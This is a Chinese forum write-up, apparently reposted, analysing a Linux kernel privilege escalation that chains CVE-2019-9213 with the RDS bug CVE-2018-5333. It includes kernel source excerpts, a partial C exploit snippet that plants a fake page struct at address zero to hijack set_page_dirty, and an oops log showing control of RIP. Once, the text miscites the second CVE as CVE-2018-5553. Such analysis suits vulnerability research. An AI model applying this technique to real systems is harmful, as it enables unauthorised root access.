# CVE-2019-9213 && CVE-2018-5333组合提权
2019-11-06 18:07:11 Author: forum.90sec.com(查看原文) 阅读量:170 收藏

0x00分析:

关于CVE-2019-9213前面一篇文章已经介绍的非常详细了,有了写地址0的机会,现在就需要一个null pointer dereference的洞,并且能够通过这个洞劫持程序流。引入今天的主角--
CVE-2018-5553,这是一个关于rds的洞,来看看是如何触发null pointer dereference的。

static int rds_cmsg_send(struct rds_sock *rs, struct rds_message *rm,
			 struct msghdr *msg, int *allocated_mr,
			 struct rds_iov_vector_arr *vct)
{
	struct cmsghdr *cmsg;
	int ret = 0, ind = 0;

	for_each_cmsghdr(cmsg, msg) {
		...
		switch (cmsg->cmsg_type) {
		...
		case RDS_CMSG_ATOMIC_CSWP:
		case RDS_CMSG_ATOMIC_FADD:
		case RDS_CMSG_MASKED_ATOMIC_CSWP:
		case RDS_CMSG_MASKED_ATOMIC_FADD:
			ret = rds_cmsg_atomic(rs, rm, cmsg);
			break;

rds_cmsg_send是通过系统调用sendmsg来触发,socket类型设置为pf_rds。接着看rds_cmsg_atomic分支。

这个地方需要先稍微了解一下sendmsg这个系统调用。

sendmsg(int socket, const struct msghdr *message, int flags);

struct msghdr结构如下:

struct msghdr {
	void		*msg_name;	/* ptr to socket address structure */
	int		msg_namelen;	/* size of socket address structure */
	struct iov_iter	msg_iter;	/* data */
	void		*msg_control;	/* ancillary data */
	__kernel_size_t	msg_controllen;	/* ancillary data buffer length */
	unsigned int	msg_flags;	/* flags on received message */
	struct kiocb	*msg_iocb;	/* ptr to iocb for async requests */
};

其中msg_control字段是可以用来针对特定协议来传递数据的,其长度为msg_controllen。这个msg_control也指向一个标准的结构struct cmsghdr

struct cmsghdr {
	__kernel_size_t	cmsg_len;	/* data byte count, including hdr */
        int		cmsg_level;	/* originating protocol */
        int		cmsg_type;	/* protocol-specific type */
};

这个结构还有一个隐式的字段unsigned char cmsg_data[]用来保存传递的数据,供特定的协议使用。

int rds_cmsg_atomic(struct rds_sock *rs, struct rds_message *rm,
		    struct cmsghdr *cmsg)
{
	struct page *page = NULL;
	struct rds_atomic_args *args;
	int ret = 0;
	...
	args = CMSG_DATA(cmsg);
	...
	rm->atomic.op_notify = !!(args->flags & RDS_RDMA_NOTIFY_ME);
	rm->atomic.op_silent = !!(args->flags & RDS_RDMA_SILENT);
	rm->atomic.op_active = 1;//111111111111111
	rm->atomic.op_recverr = rs->rs_recverr;
	rm->atomic.op_sg = rds_message_alloc_sgs(rm, 1, &ret);//2222222
	if (!rm->atomic.op_sg)
		goto err;

	/* verify 8 byte-aligned */
	if (args->local_addr & 0x7) {
		ret = -EFAULT;
		goto err;
	}

	ret = rds_pin_pages(args->local_addr, 1, &page, 1);
	if (ret != 1)
		goto err;
	ret = 0;

	sg_set_page(rm->atomic.op_sg, page, 8, offset_in_page(args->local_addr));

回到rds的处理之中,rds_cmsg_atomiccmsg便来自于上面用户传递的结构。其中args也是指向cmsg中的data部分。

上面的整个过程就是设置atomic类型请求的rds_message结构,有两个点在这里需要注意:

rm->atomic.op_active = 1; //标志已经初始化,可用状态。
...
rm->atomic.op_sg = rds_message_alloc_sgs(rm, 1, &ret);

第二个点是设置scatterlist物理内存的散列表,主要是供DMA使用。关于这一点在分配rds_message这个结构的时候也可以注意到:

struct rds_message *rds_message_alloc(unsigned int extra_len, gfp_t gfp)
{
	struct rds_message *rm;

	if (extra_len > KMALLOC_MAX_SIZE - sizeof(struct rds_message))
		return NULL;

	rm = kzalloc(sizeof(struct rds_message) + extra_len, gfp);
	if (!rm)
		goto out;

	rm->m_used_sgs = 0;
	rm->m_total_sgs = extra_len / sizeof(struct scatterlist);
	...
out:
	return rm;
}

这个extra_len就是scatterlists的大小:

static int rds_rm_size(struct msghdr *msg, int num_sgs,
		       struct rds_iov_vector_arr *vct)
{
	...
	switch (cmsg->cmsg_type) {
		case RDS_CMSG_ATOMIC_CSWP:
		case RDS_CMSG_ATOMIC_FADD:
		case RDS_CMSG_MASKED_ATOMIC_CSWP:
		case RDS_CMSG_MASKED_ATOMIC_FADD:
			cmsg_groups |= 1;
			size += sizeof(struct scatterlist);
			break;
	...
	size += num_sgs * sizeof(struct scatterlist);

而上面的rds_message_alloc_sgs这一步就是获取rds_message后面的scatterlist,显然这些scatterlists都是初始化状态,并未分配真正的page,回到原先的rds_cmsg_atomic

if (args->local_addr & 0x7) {
		ret = -EFAULT;
		goto err;
	}

	ret = rds_pin_pages(args->local_addr, 1, &page, 1);
	if (ret != 1)
		goto err;
	ret = 0;

	sg_set_page(rm->atomic.op_sg, page, 8, offset_in_page(args->local_addr));

args指向是用户内存,首先判断args->local_addr地址对齐,然后使用rds_pin_pages获取用户page,再把scatterlist设置为这个page。上面有两个地方有错误处理:

err:
	if (page)
		put_page(page);
	kfree(rm->atomic.op_notifier);
	return ret;

出错以后释放掉了rm->atomic.op_notifier,整个rds_sendmsg也宣告结束,之后会释放掉rds_message这个结构。

static void rds_message_purge(struct rds_message *rm)
{
	unsigned long i, flags;
	bool zcopy = false;
	...
	if (rm->rdma.op_active)
		rds_rdma_free_op(&rm->rdma);
	if (rm->rdma.op_rdma_mr)
		rds_mr_put(rm->rdma.op_rdma_mr);

	if (rm->atomic.op_active)
		rds_atomic_free_op(&rm->atomic);
	if (rm->atomic.op_rdma_mr)
		rds_mr_put(rm->atomic.op_rdma_mr);
}

如果进入先前两个错误处理任意其中一个,返回的时候,并没有指定
rm->atomic.op_active=0,所以这里会进入rds_atomic_free_op

void rds_atomic_free_op(struct rm_atomic_op *ao)
{
	struct page *page = sg_page(ao->op_sg);

	/* Mark page dirty if it was possibly modified, which
	 * is the case for a RDMA_READ which copies from remote
	 * to local memory */
	set_page_dirty(page);
	put_page(page);

	kfree(ao->op_notifier);
	ao->op_notifier = NULL;
	ao->op_active = 0;
}

很显然这里出问题了,发生错误之前并没有去设置对应scatterlist的page,再细看是怎么拿到page的:

static inline struct page *sg_page(struct scatterlist *sg)
{
	return (struct page *)((sg)->page_link & ~(SG_CHAIN | SG_END));
}

这里讲一下scatterlist结构page_link的0bit 和 1bit位置上是标志sg_chain和sg_end的flag,所以这里是4对齐。显然初始化状态下的page_link等于0.所以后面在操作page结构的时候,就产生了null pointer dereference。所以这里修复也很简单,只需要在上面错误返回的时候,设置一下rm->atomic.op_active=0,就可以避免这个问题。

现在两个漏洞都有了,结合起来怎么用呢? 理论上我们这里是可以伪造一个page结构,第一想法,看page结构上是否有函数指针调用的过程。但是还是得顺着开始的流程来看:

void rds_atomic_free_op(struct rm_atomic_op *ao)
{
	struct page *page = sg_page(ao->op_sg);

	/* Mark page dirty if it was possibly modified, which
	 * is the case for a RDMA_READ which copies from remote
	 * to local memory */
	set_page_dirty(page);
	put_page(page);

	kfree(ao->op_notifier);
	ao->op_notifier = NULL;
	ao->op_active = 0;
}

set_page_dirty处理过程:

int set_page_dirty(struct page *page)
{
	struct address_space *mapping = page_mapping(page);

	page = compound_head(page);
	if (likely(mapping)) {
		int (*spd)(struct page *) = mapping->a_ops->set_page_dirty;
		...
		return (*spd)(page);
	}
}

运气似乎不错,如果这个mapping是从page上的字段,那么这一切就变的简单了。

struct address_space *page_mapping(struct page *page)
{
	struct address_space *mapping;

	page = compound_head(page);

	/* This happens if someone calls flush_dcache_page on slab page */
	if (unlikely(PageSlab(page)))
		return NULL;

	if (unlikely(PageSwapCache(page))) {
		swp_entry_t entry;

		entry.val = page_private(page);
		return swap_address_space(entry);
	}

	mapping = page->mapping;
	if ((unsigned long)mapping & PAGE_MAPPING_ANON)
		return NULL;

	return (void *)((unsigned long)mapping & ~PAGE_MAPPING_FLAGS);
}

第一个注意的点:

page = compound_head(page);
static inline struct page *compound_head(struct page *page)
{
	unsigned long head = READ_ONCE(page->compound_head);

	if (unlikely(head & 1))
		return (struct page *) (head - 1);
	return page;
}

这里是可以通过page->compound_head改变page的指向,可能有用。
第二点是要避免进入下面逻辑:

if (unlikely(PageSwapCache(page))) {
		swp_entry_t entry;

		entry.val = page_private(page);
		return swap_address_space(entry);
	}

这个比较好弄,这是通过比较page->flagsbit位来判断,所以这里只需要把page->flags置零就行。最后经过下面的对齐返回mapping:

mapping = page->mapping;
	if ((unsigned long)mapping & PAGE_MAPPING_ANON)
		return NULL;

	return (void *)((unsigned long)mapping & ~PAGE_MAPPING_FLAGS);

所以这里有上面三个注意点,再通过mapping拿到mapping->a_ops->set_page_dirty,这里有一个技巧,要充分利用0地址,避免再去重新申请内存。这里a_ops可以设置为0,mapping不能设置为0,这里有一个冲突,需要解决,当page设置成0不变的时候,a_ops也为0的时候:

page->mapping  == ((char *)page)+0x18
a_pos->set_page_dirty == ((char *)a_pos)+0x18

所以这里最好是通过compound_head(head),改变一下page,把paga指到其他用户空间上,例如栈上:

	char str[1000];
	map_null_address();
	unsigned long *data = (unsigned long *)0;
	memset(str,0,1000);
	*((unsigned long *)(str+0x18)) = str;
	data[1] = str+1;
	data[3] = 0xffffffffdeadbeaf;
	trigger_null_pointer_ref();

从oops报错上可以看到最后是走到了预期的位置上。

[ 2515.888056] BUG: unable to handle kernel paging request at ffffffffdeadbeaf
[ 2515.888056] PGD 200e067 P4D 200e067 PUD 2010067 PMD 0 
[ 2515.888056] Oops: 0010 [#3] SMP PTI
[ 2515.888056] CPU: 0 PID: 113 Comm: test Tainted: G      D           4.20.0+ #1
[ 2515.888056] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.12.0-1 04/01/2014
[ 2515.888056] RIP: 0010:0xffffffffdeadbeaf
[ 2515.888056] Code: Bad RIP value.
[ 2515.888056] RSP: 0018:ffffc90000173b98 EFLAGS: 00000286
[ 2515.888056] RAX: ffffffffdeadbeaf RBX: ffff888005a2d928 RCX: 0000000000000000
[ 2515.888056] RDX: ffffffff8129b340 RSI: 0000000000000246 RDI: 00007ffce69d17f0
[ 2515.888056] RBP: 0000000000000000 R08: 0000000000000001 R09: 00000007ffca66b2
[ 2515.888056] R10: 0000000000000000 R11: 0000000000000001 R12: 0000000000000000
[ 2515.888056] R13: 0000000000000246 R14: ffff888005a2d8e8 R15: 0000000000000000
[ 2515.888056] FS:  00000000019b3880(0000) GS:ffff888007200000(0000) knlGS:0000000000000000

再根据当前各寄存器的状态xchg切栈到用户内存上,实现提权的ROP,当然你也可以写CR4去绕SMEP这都是常规思路 )

最开始我拉的是patch CVE-2018-5333之前最后一次commit,但是编译起来错误很多,尽管最后我手动patch了很多处,终于编译成功了。但是qemu还是运行不起来,果断放弃了,还是选择了patch CVE-2019-9213之前最后一次commit,然后手动删掉了关于CVE-2018-5333的patch,还有这里编译之前记得开RDS的配置。

相对来说这里是比较简单劫持流,这是我没有预想到的。有了CVE-2019-9213很多其他的漏洞就变成了可能,下一次我想分析一个复杂一点伪造相关结构劫持程序流的洞,最后还是觉得是比较有趣的一次经历!


文章来源: https://forum.90sec.com/t/topic/575/1
如有侵权请联系:admin#unsafe.sh